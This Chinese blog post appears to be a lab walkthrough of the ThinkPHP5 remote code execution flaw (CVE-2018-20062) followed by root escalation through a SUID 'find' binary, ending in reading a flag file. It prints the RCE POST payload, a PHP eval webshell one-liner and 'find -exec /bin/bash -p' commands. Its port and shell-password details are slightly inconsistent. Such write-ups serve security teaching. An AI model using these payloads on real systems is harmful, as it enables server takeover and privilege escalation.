ThinkPHP5 RCE+Linux find提权渗透实战:原理+复现(CVE-2018-20062) - 详解

news/2025/11/22 21:53:25/文章来源:https://www.cnblogs.com/ljbguanli/p/19258693

ThinkPHP5 RCE+Linux find提权渗透实战:原理+复现(CVE-2018-20062) - 详解

目录

一、thinkphp5漏洞

二、find提权

1、什么是 SUID?

2、find命令的 SUID 提权原理

3、find提权步骤

第一步:信息收集与权限确认

第二步:验证SUID权限有效性

第三步:执行提权操作获取Root Shell

三、漏洞渗透

1、fscan扫描

2、使用think php综合利用工具渗透

3、连接蚁剑

4、find提权


本文分析了ThinkPHP5框架的远程代码执行漏洞(RCE)和利用find命令的SUID提权方法,通过原理讲解和实操复现两个漏洞的渗透过程。文章第一部分讲解了ThinkPHP5漏洞的Get shell渗透过程,攻击者可构造恶意POST请求执行任意系统命令。第二部分介绍了通过find命令的SUID提权技术。最后展示了完整的渗透测试流程,从fscan扫描到使用thinkphp_gui_tools获取shell,再到蚁剑连接和find提权获取flag文件。两种技术结合展示了从漏洞利用到权限提升的全过程。

一、thinkphp5漏洞

  • 漏洞编号ThinkPHP5 5.0.23 RCE 或 ThinkPHP5 invokeFunction RCE

  • 漏洞影响范围:ThinkPHP 5.x 版本中小于 5.1.31 的版本,以及 5.0.x 版本中小于等于 5.0.23 的版本都受该漏洞影响。

  • 漏洞类型:远程代码执行(Remote Code Execution)。

  • 危险等级:严重(Critical)。

  • 漏洞本质:由于框架对控制器名的过滤不严,导致攻击者可以通过URL调用到核心类 think\App 中的 invokeFunction 方法,从而传递恶意参数并执行任意PHP函数。

  • 漏洞成因:ThinkPHP 5 框架底层对控制器名过滤不严,在未开启强制路由的情况下,攻击者可以通过 URL 调用到 ThinkPHP 框架内部的敏感函数。具体来说,在框架的路由解析过程中,$method来自可控的$_POST数组,且获取后没有进行任何检查,就直接把它作为Request类的方法进行调用,同时该方法传入的参数也是可控数据$_POST,这就使得攻击者可以随意调用Request类的部分方法,进而导致远程代码执行漏洞的产生。
  • 漏洞原理:攻击者可以构造特定的 POST 请求,利用_method=__construct来调用构造方法__construct(),从而覆盖Request类的任意成员变量。例如,通过filter=system可以传递filter值覆盖原有值,再通过server(REQUEST_METHOD)=命令来指定要执行的系统命令,最后通过method=get使得请求能够通过路由检查,最终实现远程代码执行。
  • 漏洞利用方式:可以使用 HackBar 或 BurpSuite 等工具进行漏洞利用。以 BurpSuite 为例,首先对目标网站的请求进行抓包,将请求方式改为 POST,然后在请求参数中构造类似_method=__construct&filter()=system&method=get&server(REQUEST_METHOD)=id的 payload,其中id可以替换为任意想要执行的系统命令。如果漏洞存在,服务器会执行相应的命令并返回结果。攻击者还可以通过该漏洞上传经过 Base64 加密的 shell 脚本,然后使用蚁剑等 webshell 工具连接服务器,进行更深入的恶意操作。

二、find提权

1、什么是 SUID?

  • SUID (Set User ID) 是一种特殊的文件权限。

  • 当一个具有SUID权限的可执行文件被运行时,该进程将不再以执行它的用户身份运行,而是以该文件所有者的身份运行。

  • 例如,/usr/bin/passwd 命令就有 SUID 权限,所有者为 root。普通用户执行 passwd 来修改自己的密码时,实际是在以 root 权限执行,否则无法修改 /etc/shadow 文件。

ls -la /usr/bin/passwd
# 输出示例:-rwsr-xr-x 1 root root ... /usr/bin/passwd
# 注意所有者权限位的 's',这就是 SUID 标志。

2、find命令的 SUID 提权原理

  • 如果 find 命令被设置了 SUID 位,并且其所有者是 root

  • 那么,任何用户执行 find 命令时,该 find 进程都将拥有 root 权限。

  • find 命令有一个强大的 -exec 参数,可以执行任意系统命令

  • 因此,如果一个低权限用户能够执行具有 SUID 权限的 find 命令,并通过 -exec 参数执行 /bin/bash 或 /bin/sh,那么启动的 Shell 也将继承 root 权限。

3、find提权步骤

第一步:信息收集与权限确认

在成功获取一个低权限的Shell(例如www-data或apache用户)后,攻击者首先需要确认当前权限级别,通常使用whoamiid命令。紧接着,攻击者会开始搜寻系统中所有设置了SUID权限的可执行文件。这是通过执行命令find / -perm -u=s -type f 2>/dev/null来实现的,该命令会遍历整个文件系统,筛选出那些权限位中设置了SetUID位的文件,并将所有错误输出重定向到空设备以避免干扰。在返回的结果列表中,攻击者会仔细寻找像/usr/bin/find这样的常见系统命令。

第二步:验证SUID权限有效性

一旦发现find命令具有SUID权限,攻击者不会立即进行利用,而是先验证其有效性以确保利用成功。他们通常会执行/usr/bin/find . -exec whoami \; -quit这样的试探性命令。这条命令会利用find的-exec参数执行whoami命令,如果返回结果是"root",则确凿地证明当前执行的find进程确实是以root权限运行的。这个验证步骤至关重要,因为它避免了在无效目标上浪费精力,并确认了提权的可行性。

第三步:执行提权操作获取Root Shell

在确认find命令可以以root权限执行后,攻击者便会发起最终的提权操作。最直接的方式是执行命令:/usr/bin/find . -exec /bin/bash -p \; -quit。这里的-exec参数会为每个找到的文件执行/bin/bash -p,而-p选项指示bash保留提升的权限。由于find进程本身具有root权限,它由此启动的bash shell也就继承了root权限。参数-quit确保find在找到第一个匹配项后立即退出,从而只产生一个root shell。

三、漏洞渗透

1、fscan扫描

使用fscan -h 10.23.28.0/24扫描10.23.28.0网段,发现10.23.28.100:8001由thinkphp 5.23的RCE远程执行漏洞,效果如下所示。  

2、使用think php综合利用工具渗透

thinkphp_gui_tools 是一个采用 JDK8 + javafx 开发的 ThinkPHP 图形化综合利用工具,其下载地址如下URL所示,选择Release版本进行下载,如下图红框所示。

https://github.com/bewhale/thinkphp_gui_tools

下载后解压,在thinkphp.jar所在的目录下执行java -jar ThinkPHP.jar命令,如下所示。

执行java -jar ThinkPHP.jar后即可启动thinkphp综合利用工具,如下图所示,URL地址填写thinkphp的主页,即http://10.23.28.100:8081,然后点击漏洞检测。

检测出有thinkphp5的RCE可执行漏洞,此时点击Getshell,文件名输入ljn.php,木马内容写<?php @eval($_POST[ljn3]); ?>,然后点击Getshell,如下所示上传成功。

3、蚁剑连接

蚁剑的URL链接为http://10.23.28.100:8081/ljn.php,密码为ljn,添加连接成功如下所示。

连接蚁剑成功后,查找到网址根目录下有.hint.txt文件,查看内容是关于提权相关知识点,具体如下所示。

4、find提权

查找有SUID权限的命令,如下所示find命令有效。

使用find提权,使可以查看根目录下的flag文件。find命令本身是用于查找文件的工具,但如果它被设置了 SUID 权限,则普通用户执行find时会以文件所有者(通常是 root)的权限运行。此时,通过-exec参数可以执行系统命令,从而实现提权操作,具体命令如下所示。

touch test
find test -exec whoami \;
find test -exec cat /flag \;
  • touch test

    这是创建一个名为test的空文件,用于后续find命令的查找目标。find命令需要指定查找对象,这里通过创建一个简单的文件作为查找目标,为后续执行命令做准备。

  • find test -exec whoami \;

    • find test:查找名为test的文件。
    • -execfind命令的一个参数,用于在找到匹配文件后执行后续命令。
    • whoami \;:表示执行whoami命令(查看当前用户身份),\;-exec参数的结束标志。
      这条命令的作用是:在找到test文件后,执行whoami,通常用于测试当前find命令是否具备执行命令的权限。
  • find test -exec cat /flag \;

    与上一条命令逻辑类似,找到test文件后执行cat /flag,目的是读取/flag文件的内容

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/973447.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

团队作业3--需求改进与系统设计

这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/Class12Grade23ComputerScience这个作业要求在哪里 https://edu.cnblogs.com/campus/gdgy/Class12Grade23ComputerScience/homework/134731.需求改进 功能分…

OI 笑传 #33

仮面の街今天是 bct Day 3,赛时 \(100+20+15+50=185\),rk.11。 没有挂分很舒适。 评价是 ok 场,复习(?)了下期望这一块。写了 T1,T4 的拍子。 T1 考虑从小到大填数,这样这个数的排名就是后面空位的数量,填到对…

PySpark - Read Data from PostgreSQL

PySpark - Read Data from PostgreSQL jdbc_url = "jdbc:postgresql://localhost:5432/postgres" properties = {"user": "postgres","password": "postgrespwd",&…

单部电梯调度总结

第一次作业: 作业内容: 基础配置:支持自定义最小(≥1)、最大楼层(> 最小楼层),默认停靠 1 层; 请求处理:区分电梯内(纯楼层)、电梯外(楼层 + 方向)请求,支持上行 / 下行方向,过滤无效请求; 调度规…

MySQL的 索引类型 normal、 unique 和 索引方法 btree 、 hash

MySQL的 索引类型 normal、 unique 和 索引方法 btree 、 hash 一、索引类型:Normal(普通索引) vs Unique(唯一索引) 核心差异是 是否对字段值施加「唯一性约束」,其他特性均围绕这一点展开:对比维度Normal(普…

精读 GitHub - servo 浏览器(一)

精读 GitHub - servo 浏览器(一)一、简介项目地址:https://github.com/servo/servo这一期的精读 GitHub 系列是 servo 浏览器,我们将从源码的角度去拆解 servo 浏览器,逐步厘清整个浏览器的工作原理。 servo 是一…

50040_基于微信小程序的项目管理系统

1.项目包含 项目源码、项目文档、数据库脚本、软件工具等资料; 带你从零开始部署运行本套系统。 2.项目介绍 在信息化浪潮的推动下,以互联网和信息技术为代表的现代科技正深刻重塑人类社会的发展格局,这种变革使得基…

hyper v linux

你提到的 "Hyper-V Linux" 可能是指在 Linux 系统上使用 Hyper-V 技术进行虚拟化。Hyper-V 是 Microsoft 提供的虚拟化平台,主要用于 Windows 操作系统。然而,Linux 系统本身并不直接支持 Hyper-V 虚拟化技…

hyper for linux

“Hyper for Linux” 是一个基于 Electron 的轻量级跨平台桌面应用程序,主要用于在 Linux 系统上运行 Hyper(一个基于 Node.js 的高性能 Web 服务器)。Hyper 是一个高性能的 Web 服务器,常用于开发和测试 Web 应用…

https linux

您提到的“https linux”可能是指与 Linux 系统 相关的 HTTPS 服务 或 HTTPS 安全协议 的使用。以下是一些与 Linux 系统和 HTTPS 相关的常见问题和解决方案,供您参考:1. 如何在 Linux 上安装 HTTPS 服务?常用 HTTP…

页面

在word里面,逻辑单位是1页文档是A4尺寸单面打印的话,3页word,就需要3张A4纸双面打印的话,4页word,就需要2张A4纸,正反文档是A4尺寸需要打印到A3纸4页A4 word, 双面打印 1张A3纸的2个面2页A4 word ,单面打印 …

Trick——数据结构

Part1 你真的以为树状数组只能止步于区修区查了吗? 实际上有这样一种特殊的最值:前缀最值查询。 代码: struct BIT{int tr[N];inline int lowbit(int x){ return (x&(-x)); }void add(int x,int val){for(int i…

锂矿及其投资机会

锂矿公司 锂辉石矿 天齐锂业 矿产资源介绍:控股澳大利亚泰利森公司,手握全球最大硬岩锂矿 —— 格林布什锂辉石矿,权益储量达 1614 万吨 LCE,同时还布局了四川措拉锂辉石矿,资源自给率达 100%,其电池级氢氧化锂技…

电梯调度迭代编程作业复盘:从问题剖析到能力进阶

一、对三次电梯调度题目集的整体认知 (一)知识点覆盖与考察重点 三次电梯调度题目集聚焦面向对象编程核心知识点与工程化开发能力,核心考察内容可归纳为三类: 设计原则:核心是单一职责原则(SRP)。从第一次的 “…

MORL | Envelope Q-Learning:有收敛性保证的 MORL 算法

EQL 将单目标的 bellman 算子拓展到多目标 RL 上,并复刻了 value iteration 的收敛性保证。论文标题:A Generalized Algorithm for Multi-Objective Reinforcement Learning and Policy Adaptatio。 NeurIPS 2019。也…

获深圳人才集团认可!「张张讲AI」AI资讯公众号解读AI动态,讲师提供定制化咨询

获深圳人才集团认可!「张张讲AI」AI资讯公众号解读AI动态,讲师提供定制化咨询在人工智能快速发展的时代,各行各业都在努力融入这一新兴技术,以谋求更好的发展。而张张讲AI作为人工智能应用培训领域的重要力量,凭借…

多重背包 二进制拆分这个向左移动以为是2也是被我写出来了

include <bits/stdc++.h> using namespace std; int dp[105];int v[2000];int w[2000]; int main() { int c;cin>>c; while(c--) { int n,m;cin>>n>>m; memset(v,0,sizeof(v)); memset(w,0,si…

NOIP2025

NOIP2025前情提要:CSP-S 2025 \(100+80+50+24\)。。

why exams are bad

"i know many things, but professors just check the things I dont know!" it will hurt buddys confidence, let one think hes a loser. how much people understand Hebrew, Chinese or Japanese? how…

若依框架源码—2

若依框架——每一个模块的解读 模块分类模块图首先我们可以看到一共有六个模块 通过注释分析,我们可以得出,admin 模块 后端管理模块,项目的启动入口其中还包含了项目的配置文件common 模块 后端通用模块,通用的工…